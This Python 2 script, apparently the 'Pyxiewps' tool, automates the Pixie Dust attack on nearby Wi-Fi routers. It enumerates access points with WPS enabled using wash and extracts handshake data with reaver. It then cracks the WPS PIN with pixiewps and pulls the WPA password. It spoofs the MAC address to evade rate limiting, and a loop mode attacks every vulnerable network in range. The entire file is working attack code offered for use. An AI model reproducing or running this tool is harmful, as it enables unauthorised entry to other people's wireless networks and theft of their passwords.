from os import kill, system, path, chdir
from signal import alarm, signal, SIGALRM, SIGKILL
import time
import subprocess
from re import sub, compile, search
from sys import argv

REAVER = 'reaver'
PIXIEWPS = 'pixiewps'
WASH = 'wash'
AIRMON = 'airmon-ng'
MACCHANGER = 'macchanger'
GIT = 'git'
INFO = '\033[32m[+] \033[0m'   # green
ALERTA = '\033[31m[!] \033[0m' # red
INPUT = '\033[34m[>] \033[0m'  # blue
DATA = '\033[33m[DATA] \033[0m'  # yellow
OPCION = '\033[33m[!!!] \033[0m' # yellow
USE_REAVER = False   # If False, uses wash and finishes.
USE_PIXIEWPS = False # Tries to get the WPS pin with pixiewps
WASH_TIME = 15       # Time to enumerate the APs with active WPS
WASH_CHANNEL = ''    # All channels
REAVER_TIME = 6      # Time to get all the useful AP information with reaver
CHOICES_YES = ['Y', 'y', '', 'yes', 'Yes']
CHOICES_NOPE = ['N', 'n', 'no', 'No']
PROMPT_APS = False
OUTPUT = False
OUTPUT_FILE = 'data.txt'
PRINT_REAVER = True
PRINT_PIXIE = True
GET_PASSWORD = False
FOREVER = False
OVERRIDE = False

def banner():
  """
  Prints the banner into the screen
  """
  
  print
  print "\t ____             _                         "
  print "\t|  _ \ _   ___  _(_) _____      ___ __  ___ "
  print "\t| |_) | | | \ \/ / |/ _ \ \ /\ / / \'_ \/ __|"
  print "\t|  __/| |_| |>  <| |  __/\ V  V /| |_) \__ \\"
  print "\t|_|    \__, /_/\_\_|\___| \_/\_/ | .__/|___\\"
  print "\t       |___/                     |_|        "
  print
  print "\tMade by jgilhutton <pyxiewps@gmail.com>"
  print "\tReaver 1.5.2 mod by t6_x <t6_x@hotmail.com> & DataHead & Soxrok2212 & Wiire & kib0rg"
  print "\tCopyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>"
  print "\tPixiewps  Copyright (c) 2015, wiire <wi7ire@gmail.com>"
  print "\tMacchanger by Alvaro Ortega Copyright (C) 2003 Free Software Foundation, Inc."
  print
  
def arg_parser():
  """
  Parses the arguments and calls the help() function if any problem is found
  """
 
  global PRINT_PIXIE
  global PRINT_REAVER
  global USE_REAVER
  global USE_PIXIEWPS
  global WASH_TIME
  global REAVER_TIME
  global WASH_CHANNEL
  global PROMPT_APS
  global OUTPUT_FILE
  global OUTPUT
  global GET_PASSWORD
  global FOREVER
  global OVERRIDE
  H = ['-h','--help']
  binary_flags = ['-w','-t','-c','-o']
  
  for arg in argv[1:]:
    if arg in H:
      help()
      exit()
    elif argv[argv.index(arg)-1] in binary_flags:
      continue
    elif arg == '-q' or arg == '--quiet':
      PRINT_PIXIE = False
      PRINT_REAVER = False
    elif arg == '-r' or arg == '--use-reaver':
      USE_REAVER = True
    elif arg == '-p' or arg == '--use-pixie':
      USE_PIXIEWPS = True
    elif arg == '-w' or arg == '--wash-time':
      try:
	WASH_TIME = int(argv[argv.index(arg)+1])
      except ValueError:
	help()
    elif arg == '-t' or arg == '--time':
      try:
	REAVER_TIME = int(argv[argv.index(arg)+1])
      except ValueError:
	help()
    elif arg == '-c' or arg == '--channel':
      try:
	WASH_CHANNEL = int(argv[argv.index(arg)+1])
      except ValueError:
	help()
    elif arg == '-P' or arg == '--prompt':
      PROMPT_APS = True
    elif arg == '-o' or arg == '--output':
      OUTPUT = True
      OUTPUT_FILE = argv[argv.index(arg)+1]
    elif arg == '-f' or arg == '--pass':
      GET_PASSWORD = True
    elif arg == '-F' or arg == '--forever':
      FOREVER = True
    elif arg == '-O' or arg == '--override':
      OVERRIDE = True
    else:
      help()

def help():
  """
  Help information
  """
  
  print
  print "script -r -p -w 15 -t 6 -c 7 -P -o file.txt -f"
  print "script --use-reaver --use-pixie --wash-time 15 --time 6 --channel 7 --prompt --output file.txt -h"
  print
  print '\t-r --use-reaver          Use reaver to get all the AP information.              [False]'
  print '\t-p --use-pixie           Once all the data is captured with reaver              [False]'
  print '\t                         the script tries to get the WPS pin with pixiewps.'
  print '\t-w --wash-time [time]    Set the time used to enumerate all the WPS-active APs. [15]'
  print '\t-t --time [time]         Set the time used to get the hex data from the AP.       [6]'
  print '\t-c --channel [channel]   Set the listening channel to enumerate the WPS-active APs.'
  print '\t                         If not set, all channels are listened.'
  print '\t-P --prompt              If more than one WPS-active AP is found, ask the user [False]'
  print '\t                         the target to attack.'
  print '\t-o --output [file]       Outputs all the data into a file.'
  print '\t-f --pass                If the WPS pin is found, the script uses reaver again to retrieve'
  print '\t                         the WPA password of the AP.'
  print '\t-q --quiet               Doesn\'t print the AP information. Will print the WPS pin and pass if found.'
  print '\t-F --forever             Runs the program on a While loop so the user can scan and attack a hole'
  print '\t                         zone without having to execute the program over and over again.'
  print '\t-O --override            Doesn\'t prompt the user if the WPS pin of the current AP has already'
  print '\t                         been found. DOESN\'T SKIP THE AP, the script attacks it again.'
  print
  exit()
  
class Engine():
  """
  Manage the Config functions and start the program
  """

  def __init__(self):
    self.REAVER = True
    self.PIXIEWPS = True
    self.WASH = True
    self.AIRMON = True
    self.MACCHANGER = True
    self.GIT = True
  
  def start(self):
    """
    Main function
    """
    chdir('/root/')
    if not c.check_iface(): # check_iface returns True if any previous wlan is found in monitor mode
      c.set_iface("UP")
    else:
      print INFO + "Previous interface was found in monitor mode: %s" %c.IFACE_MON
      choice = raw_input("%sDo you wish to use this interface? [Y/n] " %INPUT)
      if choice in CHOICES_YES:
	pass
      elif choice in CHOICES_NOPE:
	c.set_iface("DOWN")
	c.set_iface("UP")
    if FOREVER:
      while True:
	attack = Attack()
	attack.get_wps_aps()
    else:
      attack = Attack()
      attack.get_wps_aps()
      engine.exit_limpio()
    
  def parse_wash(self, linea):
    """
    Parses the wash output
    Returns bssid, channel, essid
    """
    
    linea = linea.split('|')
    bssid = linea[0] # MAC
    canal = linea[1]
    essid = linea[-1]
    return [bssid, canal, essid]
    
  def parse_reaver(self, output, pin_encontrado = False):
    """
    Parses the reaver output
    Gets the pkr, pke, hash1 y 2, enonce, rnonce, authkey, manufacturer y model
    and returns all the data
    """

    if pin_encontrado:
      password = ''
      for linea in output:
	if '[+] WPA PSK: ' in linea:
	  password = sub('\[\+\] WPA PSK: ','',linea)
	  return password
      if password == '':
	return 'no password'

    E_NONCE = ''
    R_NONCE = ''
    PKR = ''
    PKE = ''
    HASH1 = ''
    HASH2 = ''
    AUTHKEY = ''
    MANUFACTURER = ''
    MODEL = ''
    NUMBER = ''
    uberlista = []
    lista_final = []
    is_complete = False
    has_something = False
    
    if output == '':
      return 'shit'
      
    for linea in output:
      if 'E-Nonce' in linea:
	has_something = True
      elif 'E-Hash2' in linea:
	lista_final = output[0:output.index(linea)+1] # Truncates the output after the hash2
	is_complete = True
	break
      elif 'Detected AP rate limiting' in linea:
	return 'ap rate limited'
    if has_something and not is_complete:
      return 'more time please'
    elif has_something == False:
      return 'noutput'
    for linea in lista_final:
      if 'E-Nonce' in linea:
	E_NONCE = sub('\[P\] E-Nonce: ','',linea)
      elif 'R-Nonce' in linea:
	R_NONCE = sub('\[P\] R-Nonce: ','',linea)
      elif 'PKR' in linea:
	PKR = sub('\[P\] PKR: ','',linea)
      elif 'PKE' in linea:
	PKE = sub('\[P\] PKE: ','',linea)
      elif 'E-Hash1' in linea:
	HASH1 = sub('\[P\] E-Hash1: ','',linea)
      elif 'E-Hash2' in linea:
	HASH2 = sub('\[P\] E-Hash2: ','',linea)
      elif 'AuthKey' in linea:
	AUTHKEY = sub('\[P\] AuthKey: ','',linea)
      elif 'Manufacturer' in linea:
	MANUFACTURER = sub('\[P\] WPS Manufacturer: ','',linea)
      elif 'Model Name' in linea:
	MODEL = sub('\[P\] WPS Model Name: ','',linea)
      elif 'Model Number' in linea:
	NUMBER = sub('\[P\] WPS Model Number: ','',linea)
      elif '[+] Associated with ' in linea:
	ESSID = sub('\(ESSID\: ','|',linea)
	ESSID = ESSID.split('|')[-1][:-2]
      elif '[+] Waiting for beacon from ' in linea:
	BSSID = sub('\[\+\] Waiting for beacon from ','',linea)
      else:
	pass
    uberlista = [PKE.strip(),PKR.strip(),HASH1.strip(),HASH2.strip(),AUTHKEY.strip(),
    MANUFACTURER.strip(),MODEL.strip(),NUMBER.strip(),E_NONCE.strip(),R_NONCE.strip(),
    ESSID.strip(),BSSID.strip()]
    return uberlista
  
  def check(self, check_again = False):
    """
    Check dependencies, user ID and other stuff
    """
    
    if c.get_uid() != '0':
      print ALERTA + 'You need to run the script as root'
      exit()

    ### Programas
    if c.program_exists(MACCHANGER):
      self.MACCHANGER = True
    elif not check_again:
      print ALERTA + 'Macchanger is not installed but it isn\'t a key binary.'
      print '    Some APs blocks the attackers device MAC and changing the MAC'
      print '    is a good option to bypass the problem.'
      print '    The script will not change the MAC, so don\'t expect it to work'
      print '    on some APs.'
      self.MACCHANGER = False
    if c.program_exists(REAVER):
      version = c.check_reaver_version()
      if version == '1.5.2':
	self.REAVER = True
      else:
	print ALERTA + "You need other version of reaver."
	self.REAVER = False
    elif not check_again:
      print ALERTA + 'reaver is not installed'
      self.REAVER = False
    if c.program_exists(PIXIEWPS):
      self.PIXIEWPS = True
    elif not check_again:
      print ALERTA + 'pixiewps is not installed'
      self.PIXIEWPS = False
    if c.program_exists(WASH):
      self.WASH = True
    elif not check_again:
      print ALERTA + 'wash is not installed'
      self.WASH = False
    if c.program_exists(GIT):
      self.GIT = True
    elif not check_again:
      self.GIT = False
    if self.REAVER and self.AIRMON and self.WASH and self.PIXIEWPS and check_again:
      print INFO + "All programs were installed!"
      raw_input("%sPress enter to continue" %INPUT)
      print INFO + "Starting the attack..."
    elif check_again:
      print
      print ALERTA + "Some programs were not installed."
      print "    manually check the needed dependencies"
      print "    and run again the program after you installed them."
      print
      exit()
    if self.REAVER and self.WASH and self.PIXIEWPS:
      pass
    else:
      print ALERTA + "You need all the necessary programs."
      print INPUT + "They are:"
      print "\tbuild-essential"
      print "\tlibpcap-dev"
      print "\tsqlite3"
      print "\tlibsqlite3-dev"
      print "\taircrack-ng"
      print "\tlibssl-dev"
      choice = raw_input("%sDo you wish to install them now? [Y/n]?" %INPUT)
      if choice in CHOICES_YES:
	c.get_binarios()
      else:
	exit()
    
    ###All good...
    engine.start()

  def run(self, cmd, shell = False, kill_tree = True, timeout = -1):
    """
    Runs a command witha given time after wich is terminated
    returns stdout of proc.
    output is a list without passing strip() on the lines.
    """

    class Alarm(Exception):
      pass
    def alarm_handler(signum, frame):
      raise Alarm
    if timeout != -1:
      signal(SIGALRM, alarm_handler) # Time's ticking...
      alarm(timeout)                 

    proc = subprocess.Popen(cmd, shell = shell, stdout = subprocess.PIPE)
    output = []
    try:
      for line in iter(proc.stdout.readline, ''):
	output.append(line)
      if timeout != -1:
	alarm(0)
    except Alarm:         # time's out! alarm is raised
      pids = [proc.pid]   # kill the process tree related with the main process.
      if kill_tree:
	pids.extend(self.get_process_children(proc.pid))
      for pid in pids:   
	try:             
	  kill(pid, SIGKILL)
	except OSError:
	  pass
      return output
    return output

  def get_process_children(self, pid):
    """
    returns the  pids of the program to kill all the process tree
    """
    
    proc = subprocess.Popen('ps --no-headers -o pid --ppid %d' % pid, shell = True, stdout = subprocess.PIPE)
    stdout = proc.communicate()[0]
    return [int(p) for p in stdout.split()]

  def mac_changer(self):
    """
    Change the device MAC if it's blocked by the AP
    """
    
    print INFO + "Changing MAC address of the device..."
    system('ifconfig %s down' %c.IFACE_MON)
    system('iwconfig %s mode Managed' %c.IFACE_MON)
    system('ifconfig %s up' %c.IFACE_MON)
    system('ifconfig %s down' %c.IFACE_MON)
    mac = subprocess.check_output(['macchanger','-r',c.IFACE_MON])
    mac = mac.split('\n')[2]
    mac = sub('New       MAC\: ','',mac.strip())
    mac = sub(' \(unknown\)','',mac)
    system('ifconfig %s up' %c.IFACE_MON)
    system('ifconfig %s down' %c.IFACE_MON)
    system('iwconfig %s mode monitor' %c.IFACE_MON)
    system('ifconfig %s up' %c.IFACE_MON)
    print INFO + "New MAC: %s%s" %(INPUT,mac.upper())
    
  def exit_limpio(self):
    """
    Clean before quiting
    """
    if path.isfile('/root/pixiewps/Makefile') or path.isfile('/root/reaver-wps-fork-t6x/src/Makefile'):
      print OPCION + "The pixiewps and reaver files are no longer needed"
      print "      and they live in the root home directory,"
      choice = raw_input("%sDo you wish to erase them? [Y/n]" %INPUT)
      if choice in CHOICES_YES:
	system('cd /root && rm -r pixiewps/ && rm -r reaver-wps-fork-t6x/')
    if c.IS_MON:
      c.set_iface("DOWN")
    if USE_REAVER:
      system('rm -f /usr/local/etc/reaver/*.wpc') # Removes the reaver AP session
    exit()

class Config():
  """
  Interface configuration functions and other stuff
  """
  
  IFACE_MON = 'caca'
  IFACE = 'caca'
  IS_MON = False
  
  def program_exists(self, programa):
    """
    Check the program fot its existance
    """

    cmd = "which " + programa
    output = subprocess.Popen(cmd, shell=True, stdout = subprocess.PIPE)
    output = output.communicate()[0]

    if output != "":
      return True    # Exists
    else:
      return False   # Nope

  def get_uid(self):
    """
    Returns the user ID
    """
    
    uid = subprocess.check_output(['id','-u']).strip()
    return uid
  
  def check_iface(self):
    """
    Check for any monitor interfaces already set.
    """
    
    proc = subprocess.Popen('iwconfig',shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE).communicate()[0].strip().split('\n')
    mon = ''
    for linea in proc:
      if 'Monitor' in linea:
	mon = linea[0:10].strip()
    if mon != '':
      self.IFACE_MON, self.IFACE = mon,mon
      self.IS_MON = True
      return True
    else:
      return False
  
  def get_iface(self):
    """
    If any monitor interfaces are found, returns the wlans.
    If more than onw are found, ask the user to choose.
    If monitor mode is already enable, returns the name.
    """

    if self.IS_MON: # If the interface is already in monitor mode, it returns its name
      proc = subprocess.Popen('iwconfig',shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE).communicate()[0].strip().split('\n')
      for linea in proc:
	if 'Monitor' in linea:
	  mon = linea[0:10].strip()
	  self.IFACE_MON = mon
	  return mon
    else:
      proc = subprocess.Popen('iwconfig',shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE).communicate()[0].strip().split('\n')
      ifaces = []
      for linea in proc:
	if 'IEEE' in linea:
	  ifaces.append(linea[0:10].strip())
      if len(ifaces) == 1 and ifaces[0] == '':
	print ALERTA + "No wireless interfaces were found!"
	print "    Please check if any wireless device in your PC."
	print "    if you are running on a virtual machine"
	print "    go get an USB wireless device."
	exit()
      elif len(ifaces) > 1:
	print INPUT + "Choose the W.Interface: "
	for i in ifaces:
	  print str(ifaces.index(i)) + " >> " + i
	while True:    # Control the input! you bugseeker!
	  try:
	    choice = int(raw_input(INPUT))
	    self.IFACE = ifaces[choice]
	    return ifaces[choice]
	    break
	  except IndexError:
	    print ALERTA + "Number between 0 and %s" %(len(ifaces)-1) #Index error handling
	  except ValueError:
	    print ALERTA + "Number between 0 and %s" %(len(ifaces)-1) #Integeer error handling
	  except KeyboardInterrupt:
	    print 
	    print ALERTA + "Interrupted program!"
	    print 
	    engine.exit_limpio()
      else:
	self.IFACE = ifaces[0]
	return ifaces[0]
  
  def set_iface(self, status):
    """
    Wireless interface driver. Puts it on monitor mode 
    and puts it back on normal mode.
    "status" variable is used only for the sake of readability and it's based
    on the "self.IS_MON" boolean
    """   
    
    if self.IS_MON:
      print INFO + 'Restoring %s wireless interface...' %self.get_iface()
      system('ifconfig %s down' %(self.IFACE_MON))
      system('iwconfig %s mode Managed' %(self.IFACE_MON)) 
      system('ifconfig %s up' %(self.IFACE_MON))
      self.IS_MON = False
      print INFO + 'Listo'
    else:
      print INFO + 'Enabling monitor mode on %s...' %(self.get_iface())
      system('ifconfig %s down' %(self.IFACE))
      system('iwconfig %s mode monitor' %(self.IFACE)) 
      system('ifconfig %s up' %(self.IFACE))
      self.IFACE_MON = self.IFACE
      self.IS_MON = True
      print INFO + "Monitor mode enabled on %s" %self.IFACE
      
  def data_file(self, data):
    """
    Outputs the data into a file
    """
    system('echo DATA >> %s' %OUTPUT_FILE)
    with open(OUTPUT_FILE, 'a+') as f:
      fecha = str(time.gmtime()[1])+'-'+str(time.gmtime()[2])+'-'+str(time.gmtime()[0])
      hora = str((time.gmtime()[3])-3).zfill(2)+':'+str(time.gmtime()[4]).zfill(2)
      f.write(fecha+' | '+hora+'\n')
      f.writelines(data)
    print INFO + "All data were saved into %s. You can find it in the /root directory" %OUTPUT_FILE
    
  def get_binarios(self):
    """
    Installs reaver, pixiewps and other stuff
    """
    
    git = 'apt-get -y install git'
    reaver_dep = 'apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng'
    pixie_dep = 'sudo apt-get -y install libssl-dev'
    reaver = 'git clone https://github.com/t6x/reaver-wps-fork-t6x.git'
    pixiewps = 'git clone https://github.com/wiire/pixiewps.git'
    aircrack = 'apt-get -y install aircrack-ng'
    if not engine.GIT:
      print INFO + "Installing git..."
      proc4 = system(git)
    if not engine.AIRMON:
      print INFO + "Installing aircrack..."
      proc5 = system(aircrack)
    if not engine.PIXIEWPS:
      print INFO + "Installing pixiewps dependencies..."
      proc2 = system(pixie_dep)
      print INFO + "Downloading pixiewps..."
      proc3 = system(pixiewps)    
    if not engine.REAVER:
      print INFO + "Installing reaver dependencies..."
      proc = system(reaver_dep)
      print INFO + "Downloading reaver..."
      proc1 = system(reaver)
    if path.isdir('pixiewps') and not engine.PIXIEWPS:
      print INFO + "Installing pixiewps..."
      system('cd pixiewps/src && make && make install')
      print INFO + "Done"
    if path.isdir('reaver-wps-fork-t6x') and not engine.REAVER:
      print INFO + "Installing reaver..."
      system('cd reaver-wps-fork-t6x* && cd src && ./configure && make && make install')
      print INFO + "Done"
    engine.check(check_again = True)

  def check_reaver_version(self):
    """
    Returns reaver version if it's installed
    """
    
    output = subprocess.Popen('reaver -h', shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE)
    output = output.communicate()
    if 'Reaver v1.5.2 WiFi Protected Setup Attack Tool' in output[0] and 'mod by t6_x' in output[0]:
      return '1.5.2'
    elif output[0] != '':
      return output[0][9:12]
    elif 'Reaver v1.5.2 WiFi Protected Setup Attack Tool' in output[1] and 'mod by t6_x' in output[1]:
      return '1.5.2'
    elif output[1] != '':
      return output[1][9:12]

class Attack():
  """
  Attack functions
  """
  
  def get_wps_aps(self):
    """
    Enumerates any WPS-active APs
    Goes to get_reaver_info
    """

    print INFO + "Enumerating WPS-active APs..."
    cmd = 'wash -i %s -P' %(c.IFACE_MON)
    if WASH_CHANNEL != '':
      cmd = cmd + ' -c %d' %WASH_CHANNEL
    lista_aps = engine.run(cmd, shell = True, timeout = WASH_TIME)
    lista_provisoria = []
    ultimo = len(lista_aps)-1
    for linea in lista_aps:             # Some wash output glitches are often found
      if '|' in linea:                  # this handles theese glitches
	lista_provisoria.append(linea)  #
    lista_aps = lista_provisoria        #
    if lista_aps == []:
      print
      print ALERTA + "No WPS-active APs were found."
      print
      if not FOREVER:
	engine.exit_limpio()
    else:
      for_fill = lista_aps                                              #\
      essids = []                                                       #|
      for line in for_fill:                                             #|- Formats the list
	line = line.split('|')                                          #|
	essids.append(line[5].strip())                                  #|
      fill = len(max(essids))                                           #/
      print INFO + "The following WPS-active APs were found:"
      for linea in lista_aps:
	linea = linea.split('|')
	fill_line = fill - len(linea[5].strip())
	print '\t' + INPUT + str(linea[5].strip()) + ' '*fill_line + ' || ' + linea[0] + ' || Channel: ' + linea[1] + ' || WPS locked?: ' + linea[4]
      if USE_REAVER:
	while True:
	  try:
	    if len(lista_aps) != 1 and PROMPT_APS: 
	      choice = int(raw_input("%sIndex of the AP: " %INPUT))
	      provisoria = []
	      provisoria.append(lista_aps[choice])
	      lista_aps = provisoria
	      break
	    else:
	      break
	  except KeyboardInterrupt:
	    print
	    engine.exit_limpio()
	    break
	  except ValueError:
	    print ALERTA + "Number between 0 and %d" %ultimo
	if not OVERRIDE and path.isfile('pyxiewpsdata.txt'):
	  coincidencias = []
	  pin_correspondiente = []
	  with open('pyxiewpsdata.txt') as f:
	    ya_sacados = f.readlines()
	  if len(ya_sacados) > 1:
	    ya_sacados.reverse() # reverts the list so it takes the newest pin
	    for target in lista_aps: # if any pin were changed by the AP administrator
	      for line in ya_sacados[1:]:
		if target.split('|')[5].strip() == line.strip():
		  coincidencias.append(target)
		  pin_correspondiente.append(ya_sacados[ya_sacados.index(line)-1].strip())
	    for i in set(coincidencias):
	      print OPCION + "The %s pin was already found!" %i.split('|')[5].strip()
	      print '\t'+ INPUT + pin_correspondiente[coincidencias.index(i)]
	      print OPCION + "Do you want to skip this AP? [Y/n]: "
	      try:
		choice = raw_input("%s Enter to skip: " %INPUT)
	      except KeyboardInterrupt:
		print
		engine.exit_limpio()
	      if choice in CHOICES_YES:
		lista_aps.remove(i)
	for linea in lista_aps:
	  args = engine.parse_wash(linea.strip())
	  self.get_reaver_info(args[0],args[1],args[2])
	if not FOREVER:
	  engine.exit_limpio()
	else:
	  pass
  
  def get_reaver_info(self, bssid, canal, essid):
    """
    Gets all the vital information from the AP
    PKR, PKE, HASH1, HASH2, AUTHKEY
    it's in the get_wps_aps for-loop
    """

    print INFO + "Fetching information from %s using reaver..." %essid
    output = engine.run(cmd=['reaver','-i',c.IFACE_MON,'-b',bssid,'-vvv','-L','-c',canal], timeout = REAVER_TIME)
    data = engine.parse_reaver(output)
    if data == 'noutput':
      print
      print ALERTA + "Couldn\'t retrieve any information from the AP."
      print ALERTA + "Try with a greater time using the -t argument"
      print "    and if it doesn\'t work out try to get a better signal."
      print
      if MACCHANGER and FOREVER:
	engine.mac_changer()
      elif MACCHANGER and not FOREVER:
	print ALERTA + "MAC address will not be changed because this is running only once."
	print "    Run the program for ever by typing the -F argument in the commandline."
	print
      elif not MACCHANGER:
	print ALERTA + "Can not change the MAC address"
	print "    because macchanger is not installed."
	print
    elif data == 'more time please':
      print
      print ALERTA + "The program retrieved some information from the AP but"
      print "    not all of it. Set a greater time to fetch the information"
      print "    with the -t argument. 6 seconds by default"
      print
    elif data == 'ap rate limited':
      print
      print ALERTA + "The AP doesn\'t like you!"
      print "    That\'s why reaver couldn\'t retrieve any information"
      print
      if MACCHANGER and FOREVER:
	engine.mac_changer()
      elif MACCHANGER and not FOREVER:
	print ALERTA + "MAC address will not be changed because this is running only once."
	print "    Run the program for ever by typing the -F argument in the commandline."
	print
      elif not MACCHANGER:
	print ALERTA + "Can not change the MAC address"
	print "    because macchanger is not installed."
	print
    elif data == 'shit':
      print
      print "Choose a reaver session option when asked for it."
      if not FOREVER:
	engine.exit_limpio()
    else:
      print INFO + "Success!. All the needed information were found"
      for_file = ['ESSID: ' + data[10] + '\n','MAC: ' + data[11] + '\n','PKE: ' + data[0] + '\n',
      'PKR: ' + data[1] + '\n','HASH1: ' + data[2] + '\n','HASH2: ' + data[3] + '\n',
      'E-NONCE: ' + data[8] + '\n','R-NONCE: ' + data[9] + '\n','AUTHKEY: ' + data[4] + '\n',
      'MANUFACTURER: ' + data[5] + '\n','MODEL: ' + data[6] + '\n','MODEL NUMBER: ' + data[7] + '\n']
      if PRINT_REAVER:
	print
	for linea in for_file:
	  print DATA + linea.strip()
	print
      if OUTPUT and not USE_PIXIEWPS:
	for_file.append('-'*40+'\n')
	c.data_file(for_file)
      if USE_PIXIEWPS:
	self.pixie_attack(data,for_file,canal)

  def pixie_attack(self,data,for_file,canal):
    """
    Tries to find the WPS pin using pixiewps
    """
    
    ESSID = data[10]
    BSSID = data[11]
    PKE = data[0]
    PKR = data[1]
    HASH1 = data[2]
    HASH2 = data[3]
    AUTHKEY = data[4]
    E_NONCE = data[8]
    R_NONCE = data[9]
    
    cmd = ['pixiewps','-e',PKE,'-r',PKR,'-s',HASH1,'-z',HASH2,'-a',AUTHKEY,'-n',E_NONCE]
    cmd1 = ['pixiewps','-e',PKE,'-s',HASH1,'-z',HASH2,'-a',AUTHKEY,'-n',E_NONCE,'-S']
    cmd2 = ['pixiewps','-e',PKE,'-s',HASH1,'-z',HASH2,'-n',E_NONCE,'-m',R_NONCE,'-b',BSSID,'-S']
    pin = ''
    cmd_list = [cmd, cmd1, cmd2]
    output = []
    for command in cmd_list:
      try:
	output = subprocess.check_output(command)
	output = output.strip().split('\n')
	for linea in output:
	  if '[+] WPS pin:' in linea:
	    result = compile('\d+')
	    pin = result.search(linea).group(0)
	    break
	  else:
	    pass
      except:            #Pixiewps error handling
	pass
      if pin != '': break
    if pin != '' and len(pin) == 8:
      print INFO + "WPS pin found!"
      print "\t" + INPUT + pin
      for_file.append('WPS pin: '+pin+'\n')
      system('echo >> pyxiewpsdata.txt')
      with open('pyxiewpsdata.txt','a+') as f:
	f.write(ESSID+'\n')
	f.write(pin)
    elif pin == '':
      print
      print ALERTA + "WPS pin was not found."
      print "    Probably, the AP is not vulnerable to this attack"
      print "    and never will. Move on."
      print
      
    if GET_PASSWORD and pin != '':
      self.get_password(for_file, BSSID, pin, canal)
    elif OUTPUT:
      for_file.append('-'*40+'\n')
      c.data_file(for_file)
  
  def get_password(self, for_file, BSSID, pin, canal):
    """
    Once the WPS pin was found, ries to get the password.
    """
    
    output = engine.run(cmd=['reaver','-i',c.IFACE_MON,'-b',BSSID,'-c',canal,'-p',pin,'-L'], timeout = (REAVER_TIME+4))
    password = engine.parse_reaver(output, pin_encontrado = True)
    if password == 'no password':
      print
      print ALERTA + "Can't get the password right now but you can"
      print "    use the WPS pin to access the wireless network."
      print
    else:
      print INFO + "Password found!"
      print '\t' + INPUT + password.strip()
    if OUTPUT:
      for_file.append('Password: ' + password + '\n'+'-'*40+'\n')
      c.data_file(for_file)

if __name__ == '__main__':
  arg_parser()
  banner()
  try:
    c = Config()
    engine = Engine()
    engine.check()
  except KeyboardInterrupt, EOFError:
    print
    print ALERTA + "Interrupted program!"
    print    
    engine.exit_limpio()